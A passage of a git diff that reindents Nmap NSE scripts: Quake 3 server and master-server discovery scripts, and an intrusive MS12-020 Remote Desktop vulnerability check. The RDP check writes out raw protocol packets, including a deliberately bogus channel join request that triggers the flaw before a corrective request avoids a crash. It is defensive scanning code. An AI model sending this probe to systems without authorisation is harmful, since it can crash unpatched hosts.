+ local name = parts[2]
+ local e2 = parts[3]
+ local extra = e1 .. e2
+ if extra ~= "" then
+ return nil
+ end
+ return name
end
local function parseplayer(data)
- local parts = stdnse.strsplit(" ", data)
- if #parts < 3 then
- stdnse.print_debug(2, "player info line is missing elements, skipping a player")
- return nil
- end
- if #parts > 3 then
- stdnse.print_debug(2, "player info line has unknown elements, skipping a player")
- return nil
- end
- local player = {}
- player.frags = parts[1]
- player.ping = parts[2]
- player.name = parsename(parts[3])
- if player.name == nil then
- stdnse.print_debug(2, "invalid player name serialization, skipping a player")
- return nil
- end
- return player
+ local parts = stdnse.strsplit(" ", data)
+ if #parts < 3 then
+ stdnse.print_debug(2, "player info line is missing elements, skipping a player")
+ return nil
+ end
+ if #parts > 3 then
+ stdnse.print_debug(2, "player info line has unknown elements, skipping a player")
+ return nil
+ end
+ local player = {}
+ player.frags = parts[1]
+ player.ping = parts[2]
+ player.name = parsename(parts[3])
+ if player.name == nil then
+ stdnse.print_debug(2, "invalid player name serialization, skipping a player")
+ return nil
+ end
+ return player
end
local function parseplayers(data)
- local players = {}
- for _, p in ipairs(data) do
- local player = parseplayer(p)
- if player then
- table.insert(players, player)
- end
- end
- return players
+ local players = {}
+ for _, p in ipairs(data) do
+ local player = parseplayer(p)
+ if player then
+ table.insert(players, player)
+ end
+ end
+ return players
end
local function is_leader(a, b)
- local collide = a.name == b.name
- local even = a.frags == b.frags
- local leads = a.frags > b.frags
- local alphab = a.name > b.name
- local faster = a.ping > b.ping
- return leads or (even and alphab) or (even and collide and faster)
+ local collide = a.name == b.name
+ local even = a.frags == b.frags
+ local leads = a.frags > b.frags
+ local alphab = a.name > b.name
+ local faster = a.ping > b.ping
+ return leads or (even and alphab) or (even and collide and faster)
end
local function formatplayers(players, fraglimit)
- table.sort(players, is_leader)
- local printable = {}
- for i, player in ipairs(players) do
- local name = player.name
- local ping = player.ping
- local frags = player.frags
- if fraglimit then
- frags = string.format("%s/%s", frags, fraglimit)
- end
- table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
- end
- printable["name"] = "PLAYERS:"
- return printable
+ table.sort(players, is_leader)
+ local printable = {}
+ for i, player in ipairs(players) do
+ local name = player.name
+ local ping = player.ping
+ local frags = player.frags
+ if fraglimit then
+ frags = string.format("%s/%s", frags, fraglimit)
+ end
+ table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
+ end
+ printable["name"] = "PLAYERS:"
+ return printable
end
local function formatfields(fields, title)
- local printable = {}
- for key, value in pairs(fields) do
- local kv = string.format("%s: %s", key, value)
- table.insert(printable, kv)
- end
- table.sort(printable)
- printable["name"] = title
- return printable
+ local printable = {}
+ for key, value in pairs(fields) do
+ local kv = string.format("%s: %s", key, value)
+ table.insert(printable, kv)
+ end
+ table.sort(printable)
+ printable["name"] = title
+ return printable
end
local function assorted(fields)
- local basic = {}
- local other = {}
- for key, value in pairs(fields) do
- if string.find(key, "_") == nil then
- basic[key] = value
- else
- other[key] = value
- end
- end
- return basic, other
+ local basic = {}
+ local other = {}
+ for key, value in pairs(fields) do
+ if string.find(key, "_") == nil then
+ basic[key] = value
+ else
+ other[key] = value
+ end
+ end
+ return basic, other
end
action = function(host, port)
- local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n")
- local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse")
+ local GETSTATUS = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getstatus\n")
+ local STATUSRESP = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "statusResponse")
- local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
- if not status then
- return
- end
- local parts = stdnse.strsplit("\n", data)
- local header = table.remove(parts, 1)
- if header ~= STATUSRESP then
- return
- end
- if #parts < 2 then
- stdnse.print_debug(2, "incomplete status response, script abort")
- return
- end
- local nullend = table.remove(parts)
- if nullend ~= "" then
- stdnse.print_debug(2, "missing terminating endline, script abort")
- return
- end
- local field_data = table.remove(parts, 1)
- local player_data = parts
+ local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
+ if not status then
+ return
+ end
+ local parts = stdnse.strsplit("\n", data)
+ local header = table.remove(parts, 1)
+ if header ~= STATUSRESP then
+ return
+ end
+ if #parts < 2 then
+ stdnse.print_debug(2, "incomplete status response, script abort")
+ return
+ end
+ local nullend = table.remove(parts)
+ if nullend ~= "" then
+ stdnse.print_debug(2, "missing terminating endline, script abort")
+ return
+ end
+ local field_data = table.remove(parts, 1)
+ local player_data = parts
- local fields = parsefields(field_data)
- local players = parseplayers(player_data)
+ local fields = parsefields(field_data)
+ local players = parseplayers(player_data)
- local basic, other = assorted(fields)
+ local basic, other = assorted(fields)
- -- Previously observed version strings:
- -- "tremulous 1.1.0 linux-x86_64 Aug  5 2010"
- -- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr  4 2011"
- local versionline = basic["version"]
- if versionline then
- local fields = stdnse.strsplit(" ", versionline)
- local product = fields[1]
- local version = fields[2]
- local osline = fields[3]
- port.version.name = "quake3"
- port.version.product = product
- port.version.version = version
- if string.find(osline, "linux") then
- port.version.ostype = "Linux"
- end
- if string.find(osline, "win") then
- port.version.ostype = "Windows"
- end
- nmap.set_port_version(host, port)
- end
+ -- Previously observed version strings:
+ -- "tremulous 1.1.0 linux-x86_64 Aug  5 2010"
+ -- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr  4 2011"
+ local versionline = basic["version"]
+ if versionline then
+ local fields = stdnse.strsplit(" ", versionline)
+ local product = fields[1]
+ local version = fields[2]
+ local osline = fields[3]
+ port.version.name = "quake3"
+ port.version.product = product
+ port.version.version = version
+ if string.find(osline, "linux") then
+ port.version.ostype = "Linux"
+ end
+ if string.find(osline, "win") then
+ port.version.ostype = "Windows"
+ end
+ nmap.set_port_version(host, port)
+ end
- local fraglimit = fields["fraglimit"]
- if not fraglimit then
- fraglimit = "?"
- end
+ local fraglimit = fields["fraglimit"]
+ if not fraglimit then
+ fraglimit = "?"
+ end
- local response = {}
- table.insert(response, formatplayers(players, fraglimit))
- table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
- if nmap.verbosity() > 0 then
- table.insert(response, formatfields(other, "OTHER OPTIONS:"))
- end
- return stdnse.format_output(true, response)
+ local response = {}
+ table.insert(response, formatplayers(players, fraglimit))
+ table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
+ if nmap.verbosity() > 0 then
+ table.insert(response, formatfields(other, "OTHER OPTIONS:"))
+ end
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/quake3-master-getservers.nse b/scripts/quake3-master-getservers.nse
index 8da55e537..481fbed96 100644
--- a/scripts/quake3-master-getservers.nse
+++ b/scripts/quake3-master-getservers.nse
@@ -30,7 +30,7 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service ({20110, 20510, 27950, 30710}, "quake3-master", {"udp"})
postrule = function()
- return (nmap.registry.q3m_servers ~= nil)
+ return (nmap.registry.q3m_servers ~= nil)
end
-- There are various sources for this information. These include:
@@ -41,213 +41,213 @@ end
-- - scanning master servers
-- - looking at game traffic with Wireshark
local KNOWN_PROTOCOLS = {
- ["5"] = "Call of Duty",
- ["10"] = "unknown",
- ["43"] = "unknown",
- ["48"] = "unknown",
- ["50"] = "Return to Castle Wolfenstein",
- ["57"] = "unknown",
- ["59"] = "Return to Castle Wolfenstein",
- ["60"] = "Return to Castle Wolfenstein",
- ["66"] = "Quake III Arena",
- ["67"] = "Quake III Arena",
- ["68"] = "Quake III Arena, or Urban Terror",
- ["69"] = "OpenArena, or Tremulous",
- ["70"] = "unknown",
- ["71"] = "OpenArena",
- ["72"] = "Wolfenstein: Enemy Territory",
- ["80"] = "Wolfenstein: Enemy Territory",
- ["83"] = "Wolfenstein: Enemy Territory",
- ["84"] = "Wolfenstein: Enemy Territory",
- ["2003"] = "Soldier of Fortune II: Double Helix",
- ["2004"] = "Soldier of Fortune II: Double Helix",
- ["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
- ["Nexuiz 3"] = "Nexuiz",
- ["Transfusion 3"] = "Transfusion",
- ["Warsow 8"] = "Warsow",
- ["Xonotic 3"] = "Xonotic",
+ ["5"] = "Call of Duty",
+ ["10"] = "unknown",
+ ["43"] = "unknown",
+ ["48"] = "unknown",
+ ["50"] = "Return to Castle Wolfenstein",
+ ["57"] = "unknown",
+ ["59"] = "Return to Castle Wolfenstein",
+ ["60"] = "Return to Castle Wolfenstein",
+ ["66"] = "Quake III Arena",
+ ["67"] = "Quake III Arena",
+ ["68"] = "Quake III Arena, or Urban Terror",
+ ["69"] = "OpenArena, or Tremulous",
+ ["70"] = "unknown",
+ ["71"] = "OpenArena",
+ ["72"] = "Wolfenstein: Enemy Territory",
+ ["80"] = "Wolfenstein: Enemy Territory",
+ ["83"] = "Wolfenstein: Enemy Territory",
+ ["84"] = "Wolfenstein: Enemy Territory",
+ ["2003"] = "Soldier of Fortune II: Double Helix",
+ ["2004"] = "Soldier of Fortune II: Double Helix",
+ ["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
+ ["Nexuiz 3"] = "Nexuiz",
+ ["Transfusion 3"] = "Transfusion",
+ ["Warsow 8"] = "Warsow",
+ ["Xonotic 3"] = "Xonotic",
}
local function getservers(host, port, q3protocol)
- local socket = nmap.new_socket()
- socket:set_timeout(10000)
- local status, err = socket:connect(host.ip, port.number, "udp")
- if not status then
- return {}
- end
- local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol))
- socket:send(probe)
+ local socket = nmap.new_socket()
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host.ip, port.number, "udp")
+ if not status then
+ return {}
+ end
+ local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol))
+ socket:send(probe)
local data
- status, data = socket:receive() -- get some data
- if not status then
- return {}
- end
- nmap.set_port_state(host, port, "open")
+ status, data = socket:receive() -- get some data
+ if not status then
+ return {}
+ end
+ nmap.set_port_state(host, port, "open")
- local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse")
- local tmp
- while #data < #magic do -- get header
- status, tmp = socket:receive()
- if status then
- data = data .. tmp
- end
- end
- if string.sub(data, 1, #magic) ~= magic then -- no match
- return {}
- end
+ local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse")
+ local tmp
+ while #data < #magic do -- get header
+ status, tmp = socket:receive()
+ if status then
+ data = data .. tmp
+ end
+ end
+ if string.sub(data, 1, #magic) ~= magic then -- no match
+ return {}
+ end
- port.version.name = "quake3-master"
- nmap.set_port_version(host, port)
+ port.version.name = "quake3-master"
+ nmap.set_port_version(host, port)
- local EOT = bin.pack("ACCC", "EOT", 0, 0, 0)
- local pieces = stdnse.strsplit("\\", data)
- while pieces[#pieces] ~= EOT do -- get all data
- status, tmp = socket:receive()
- if status then
- data = data .. tmp
- pieces = stdnse.strsplit("\\", data)
- end
- end
+ local EOT = bin.pack("ACCC", "EOT", 0, 0, 0)
+ local pieces = stdnse.strsplit("\\", data)
+ while pieces[#pieces] ~= EOT do -- get all data
+ status, tmp = socket:receive()
+ if status then
+ data = data .. tmp
+ pieces = stdnse.strsplit("\\", data)
+ end
+ end
- table.remove(pieces, 1) --remove magic
- table.remove(pieces, #pieces) --remove EOT
+ table.remove(pieces, 1) --remove magic
+ table.remove(pieces, #pieces) --remove EOT
- local servers = {}
- for _, value in ipairs(pieces) do
- local parts = {bin.unpack("CCCC>S", value)}
- if #parts > 5 then
- local o1 = parts[2]
- local o2 = parts[3]
- local o3 = parts[4]
- local o4 = parts[5]
- local p = parts[6]
- table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p})
- end
- end
- socket:close()
- return servers
+ local servers = {}
+ for _, value in ipairs(pieces) do
+ local parts = {bin.unpack("CCCC>S", value)}
+ if #parts > 5 then
+ local o1 = parts[2]
+ local o2 = parts[3]
+ local o3 = parts[4]
+ local o4 = parts[5]
+ local p = parts[6]
+ table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p})
+ end
+ end
+ socket:close()
+ return servers
end
local function formatresult(servers, outputlimit, protocols)
- local t = tab.new()
+ local t = tab.new()
- if not outputlimit then
- outputlimit = #servers
- end
- for i = 1, outputlimit do
- if not servers[i] then
- break
- end
- local node = servers[i]
- local protocol = node.protocol
- local ip = node.ip
- local portnum = node.port
- tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
- end
+ if not outputlimit then
+ outputlimit = #servers
+ end
+ for i = 1, outputlimit do
+ if not servers[i] then
+ break
+ end
+ local node = servers[i]
+ local protocol = node.protocol
+ local ip = node.ip
+ local portnum = node.port
+ tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
+ end
- return tab.dump(t)
+ return tab.dump(t)
end
local function dropdupes(tables, stringify)
- local unique = {}
- local dupe = {}
- local s
- for _, v in ipairs(tables) do
- s = stringify(v)
- if not dupe[s] then
- table.insert(unique, v)
- dupe[s] = true
- end
- end
- return unique
+ local unique = {}
+ local dupe = {}
+ local s
+ for _, v in ipairs(tables) do
+ s = stringify(v)
+ if not dupe[s] then
+ table.insert(unique, v)
+ dupe[s] = true
+ end
+ end
+ return unique
end
local function scan(host, port, protocols)
- local discovered = {}
- for protocol, _ in pairs(protocols) do
- for _, node in ipairs(getservers(host, port, protocol)) do
- local entry = {
- protocol = protocol,
- ip = node[1],
- port = node[2],
- masterip = host.ip,
- masterport = port.number
- }
- table.insert(discovered, entry)
- end
- end
- return discovered
+ local discovered = {}
+ for protocol, _ in pairs(protocols) do
+ for _, node in ipairs(getservers(host, port, protocol)) do
+ local entry = {
+ protocol = protocol,
+ ip = node[1],
+ port = node[2],
+ masterip = host.ip,
+ masterport = port.number
+ }
+ table.insert(discovered, entry)
+ end
+ end
+ return discovered
end
local function store(servers)
- if not nmap.registry.q3m_servers then
- nmap.registry.q3m_servers = {}
- end
- for _, server in ipairs(servers) do
- table.insert(nmap.registry.q3m_servers, server)
- end
+ if not nmap.registry.q3m_servers then
+ nmap.registry.q3m_servers = {}
+ end
+ for _, server in ipairs(servers) do
+ table.insert(nmap.registry.q3m_servers, server)
+ end
end
local function protocols()
- local filter = {}
- local count = {}
- for _, advert in ipairs(nmap.registry.q3m_servers) do
- local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol})
- if filter[key] == nil then
- if count[advert.protocol] == nil then
- count[advert.protocol] = 0
- end
- count[advert.protocol] = count[advert.protocol] + 1
- filter[key] = true
- end
- local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport})
- end
- local sortable = {}
- for k, v in pairs(count) do
- table.insert(sortable, {k, v})
- end
- table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
- local t = tab.new()
- tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
- for i, p in ipairs(sortable) do
- local pos = i .. '.'
- local protocol = p[1]
- count = p[2]
- local game = KNOWN_PROTOCOLS[protocol]
- if game == "unknown" then
- game = ""
- end
- tab.addrow(t, pos, protocol, game, count)
- end
- return '\n' .. tab.dump(t)
+ local filter = {}
+ local count = {}
+ for _, advert in ipairs(nmap.registry.q3m_servers) do
+ local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol})
+ if filter[key] == nil then
+ if count[advert.protocol] == nil then
+ count[advert.protocol] = 0
+ end
+ count[advert.protocol] = count[advert.protocol] + 1
+ filter[key] = true
+ end
+ local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport})
+ end
+ local sortable = {}
+ for k, v in pairs(count) do
+ table.insert(sortable, {k, v})
+ end
+ table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
+ local t = tab.new()
+ tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
+ for i, p in ipairs(sortable) do
+ local pos = i .. '.'
+ local protocol = p[1]
+ count = p[2]
+ local game = KNOWN_PROTOCOLS[protocol]
+ if game == "unknown" then
+ game = ""
+ end
+ tab.addrow(t, pos, protocol, game, count)
+ end
+ return '\n' .. tab.dump(t)
end
action = function(host, port)
- if SCRIPT_TYPE == "postrule" then
- return protocols()
- end
- local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
- if not outputlimit then
- outputlimit = 10
- else
- outputlimit = tonumber(outputlimit)
- end
- if outputlimit < 1 then
- outputlimit = nil
- end
- local servers = scan(host, port, KNOWN_PROTOCOLS)
- store(servers)
- local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
- local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
- if #formatted < 1 then
- return
- end
- local response = {}
- table.insert(response, formatted)
- if outputlimit and outputlimit < #servers then
- table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
- end
- return stdnse.format_output(true, response)
+ if SCRIPT_TYPE == "postrule" then
+ return protocols()
+ end
+ local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
+ if not outputlimit then
+ outputlimit = 10
+ else
+ outputlimit = tonumber(outputlimit)
+ end
+ if outputlimit < 1 then
+ outputlimit = nil
+ end
+ local servers = scan(host, port, KNOWN_PROTOCOLS)
+ store(servers)
+ local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
+ local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
+ if #formatted < 1 then
+ return
+ end
+ local response = {}
+ table.insert(response, formatted)
+ if outputlimit and outputlimit < #servers then
+ table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
+ end
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/rdp-vuln-ms12-020.nse b/scripts/rdp-vuln-ms12-020.nse
index efe40b456..331633be5 100644
--- a/scripts/rdp-vuln-ms12-020.nse
+++ b/scripts/rdp-vuln-ms12-020.nse
@@ -72,152 +72,152 @@ categories = {"intrusive", "vuln"}
portrule = shortport.port_or_service({3389},{"ms-wbt-server"})
action = function(host, port)
- local socket = nmap.new_socket()
- local status, err,response
+ local socket = nmap.new_socket()
+ local status, err,response
- -- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
- local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0
- .. "000b" -- Length
- .. "06" -- X.224 Data TPDU length
- .. "e0" -- X.224 Type (Connection request)
- .. "0000" -- dst reference
- .. "0000" -- src reference
- .. "00" -- class and options
- local connectionRequest = bin.pack("H",connectionRequestStr)
+ -- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
+ local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0
+ .. "000b" -- Length
+ .. "06" -- X.224 Data TPDU length
+ .. "e0" -- X.224 Type (Connection request)
+ .. "0000" -- dst reference
+ .. "0000" -- src reference
+ .. "00" -- class and options
+ local connectionRequest = bin.pack("H",connectionRequestStr)
- -- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
- local connectInitialStr = "03000065" -- TPKT Header
- .. "02f080" -- Data TPDU, EOT
- .. "7f655b" -- Connect-Initial
- .. "040101" -- callingDomainSelector
- .. "040101" -- calledDomainSelector
- .. "0101ff" -- upwardFlag
- .. "3019" -- targetParams + size
- .. "020122" -- maxChannelIds
- .. "020120" -- maxUserIds
- .. "020100" -- maxTokenIds
- .. "020101" -- numPriorities
- .. "020100" -- minThroughput
- .. "020101" -- maxHeight
- .. "0202ffff" -- maxMCSPDUSize
- .. "020102" -- protocolVersion
- .. "3018" -- minParams + size
- .. "020101" -- maxChannelIds
- .. "020101" -- maxUserIds
- .. "020101" -- maxTokenIds
- .. "020101" -- numPriorities
- .. "020100" -- minThroughput
- .. "020101" -- maxHeight
- .. "0201ff" -- maxMCSPDUSize
- .. "020102" -- protocolVersion
- .. "3019" -- maxParams + size
- .. "0201ff" -- maxChannelIds
- .. "0201ff" -- maxUserIds
- .. "0201ff" -- maxTokenIds
- .. "020101" -- numPriorities
- .. "020100" -- minThroughput
- .. "020101" -- maxHeight
- .. "0202ffff" -- maxMCSPDUSize
- .. "020102" -- protocolVersion
- .. "0400" -- userData
- local connectInitial = bin.pack("H",connectInitialStr)
+ -- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
+ local connectInitialStr = "03000065" -- TPKT Header
+ .. "02f080" -- Data TPDU, EOT
+ .. "7f655b" -- Connect-Initial
+ .. "040101" -- callingDomainSelector
+ .. "040101" -- calledDomainSelector
+ .. "0101ff" -- upwardFlag
+ .. "3019" -- targetParams + size
+ .. "020122" -- maxChannelIds
+ .. "020120" -- maxUserIds
+ .. "020100" -- maxTokenIds
+ .. "020101" -- numPriorities
+ .. "020100" -- minThroughput
+ .. "020101" -- maxHeight
+ .. "0202ffff" -- maxMCSPDUSize
+ .. "020102" -- protocolVersion
+ .. "3018" -- minParams + size
+ .. "020101" -- maxChannelIds
+ .. "020101" -- maxUserIds
+ .. "020101" -- maxTokenIds
+ .. "020101" -- numPriorities
+ .. "020100" -- minThroughput
+ .. "020101" -- maxHeight
+ .. "0201ff" -- maxMCSPDUSize
+ .. "020102" -- protocolVersion
+ .. "3019" -- maxParams + size
+ .. "0201ff" -- maxChannelIds
+ .. "0201ff" -- maxUserIds
+ .. "0201ff" -- maxTokenIds
+ .. "020101" -- numPriorities
+ .. "020100" -- minThroughput
+ .. "020101" -- maxHeight
+ .. "0202ffff" -- maxMCSPDUSize
+ .. "020102" -- protocolVersion
+ .. "0400" -- userData
+ local connectInitial = bin.pack("H",connectInitialStr)
- -- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
- local userRequestStr = "0300" -- header
- .. "0008" -- length
- .. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
- .. "28" -- PER encoded PDU contents
- local userRequest = bin.pack("H",userRequestStr)
+ -- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
+ local userRequestStr = "0300" -- header
+ .. "0008" -- length
+ .. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
+ .. "28" -- PER encoded PDU contents
+ local userRequest = bin.pack("H",userRequestStr)
- local user1,user2
- local pos
+ local user1,user2
+ local pos
- local rdp_vuln_0152 = {
- title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
- IDS = {CVE = 'CVE-2012-0152'},
- risk_factor = "Medium",
- scores = {
- CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
- },
- description = [[
- Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
- ]],
- references = {
- 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
- },
- dates = {
- disclosure = {year = '2012', month = '03', day = '13'},
- },
- exploit_results = {},
- }
+ local rdp_vuln_0152 = {
+ title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
+ IDS = {CVE = 'CVE-2012-0152'},
+ risk_factor = "Medium",
+ scores = {
+ CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
+ },
+ description = [[
+ Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
+ ]],
+ references = {
+ 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
+ },
+ dates = {
+ disclosure = {year = '2012', month = '03', day = '13'},
+ },
+ exploit_results = {},
+ }
- local rdp_vuln_0002 = {
- title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
- IDS = {CVE = 'CVE-2012-0002'},
- risk_factor = "High",
- scores = {
- CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
- },
- description = [[
- Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
- ]],
- references = {
- 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
- },
- dates = {
- disclosure = {year = '2012', month = '03', day = '13'},
- },
- exploit_results = {},
- }
+ local rdp_vuln_0002 = {
+ title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
+ IDS = {CVE = 'CVE-2012-0002'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+ Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
+ ]],
+ references = {
+ 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
+ },
+ dates = {
+ disclosure = {year = '2012', month = '03', day = '13'},
+ },
+ exploit_results = {},
+ }
- local report = vulns.Report:new(SCRIPT_NAME, host, port)
- rdp_vuln_0152.state = vulns.STATE.NOT_VULN
- rdp_vuln_0002.state = vulns.STATE.NOT_VULN
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ rdp_vuln_0152.state = vulns.STATE.NOT_VULN
+ rdp_vuln_0002.state = vulns.STATE.NOT_VULN
- -- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
- -- Posible reason for this is that Windows resets the connection if we try to
- -- reconect too fast to the same port after doing a SYN scan and not completing the
- -- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
- stdnse.sleep(0.2)
+ -- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
+ -- Posible reason for this is that Windows resets the connection if we try to
+ -- reconect too fast to the same port after doing a SYN scan and not completing the
+ -- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
+ stdnse.sleep(0.2)
- socket:connect(host.ip, port)
- status, err = socket:send(connectionRequest)
+ socket:connect(host.ip, port)
+ status, err = socket:send(connectionRequest)
- status, response = socket:receive_bytes(0)
- if response ~= bin.pack("H","0300000b06d00000123400") then
- --probably not rdp at all
- stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME)
- return nil
- end
- status, err = socket:send(connectInitial)
- status, err = socket:send(userRequest) -- send attach user request
- status, response = socket:receive_bytes(0) -- recieve attach user confirm
- pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
+ status, response = socket:receive_bytes(0)
+ if response ~= bin.pack("H","0300000b06d00000123400") then
+ --probably not rdp at all
+ stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME)
+ return nil
+ end
+ status, err = socket:send(connectInitial)
+ status, err = socket:send(userRequest) -- send attach user request
+ status, response = socket:receive_bytes(0) -- recieve attach user confirm
+ pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
- status, err = socket:send(userRequest) -- send another attach user request
- status, response = socket:receive_bytes(0) -- recieve another attach user confirm
- pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001
- user2 = user2+1001 -- second user's channel
- local data4 = bin.pack(">SS",user1,user2)
- local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU
- local channelJoinRequest = data5 .. data4
- status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2
- status, response = socket:receive_bytes(0)
- if response:sub(8,9) == bin.pack("H","3e00") then
- -- 3e00 indicates a successfull join
- -- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
- -- service is vulnerable
- -- send a valid request to prevent the BSoD
- data4 = bin.pack(">SS",user2-1001,user2)
- channelJoinRequest = data5 .. data4 -- valid join request
- status, err = socket:send(channelJoinRequest)
- status, response = socket:receive_bytes(0)
- socket:close()
- rdp_vuln_0152.state = vulns.STATE.VULN
- rdp_vuln_0002.state = vulns.STATE.VULN
- return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
- end
- --service is not vulnerable
- socket:close()
- return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
+ status, err = socket:send(userRequest) -- send another attach user request
+ status, response = socket:receive_bytes(0) -- recieve another attach user confirm
+ pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001
+ user2 = user2+1001 -- second user's channel
+ local data4 = bin.pack(">SS",user1,user2)
+ local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU
+ local channelJoinRequest = data5 .. data4
+ status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2
+ status, response = socket:receive_bytes(0)
+ if response:sub(8,9) == bin.pack("H","3e00") then
+ -- 3e00 indicates a successfull join
+ -- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
+ -- service is vulnerable
+ -- send a valid request to prevent the BSoD
+ data4 = bin.pack(">SS",user2-1001,user2)
+ channelJoinRequest = data5 .. data4 -- valid join request
+ status, err = socket:send(channelJoinRequest)
+ status, response = socket:receive_bytes(0)
+ socket:close()
+ rdp_vuln_0152.state = vulns.STATE.VULN
+ rdp_vuln_0002.state = vulns.STATE.VULN
+ return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
+ end
+ --service is not vulnerable
+ socket:close()
+ return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
end
diff --git a/scripts/rmi-dumpregistry.nse b/scripts/rmi-dumpregistry.nse
index 647d09eba..1cd66b2d5 100644
--- a/scripts/rmi-dumpregistry.nse
+++ b/scripts/rmi-dumpregistry.nse
